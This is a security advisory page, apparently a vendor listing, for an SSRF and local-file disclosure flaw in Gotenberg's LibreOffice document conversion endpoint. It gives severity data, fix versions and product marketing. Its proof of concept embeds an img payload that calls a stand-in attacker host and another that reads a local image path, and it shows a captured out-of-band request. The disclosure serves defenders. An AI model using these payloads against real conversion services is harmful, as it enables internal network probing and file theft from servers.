GHSA-2mrg-35hw-x3x9
HIGHGHSA-2mrg-35hw-x3x9 is a high-severity (CVSS 7.5) Server-Side Request Forgery (SSRF) vulnerability in github.com/gotenberg/gotenberg/v8. O3 Security confirms whether GHSA-2mrg-35hw-x3x9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Gotenberg: SSRF via LibreOffice document processing
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2mrg-35hw-x3x9.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-2mrg-35hw-x3x9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 363,908 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
github.com/gotenberg/gotenberg/v8Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Local Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/gotenberg/gotenberg/v8 | all versions | 8.34.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/gotenberg/gotenberg/v8. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/gotenberg/gotenberg/v8 to 8.34.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2mrg-35hw-x3x9 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2mrg-35hw-x3x9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2mrg-35hw-x3x9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2mrg-35hw-x3x9 in your dependencies?
O3 detects GHSA-2mrg-35hw-x3x9 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.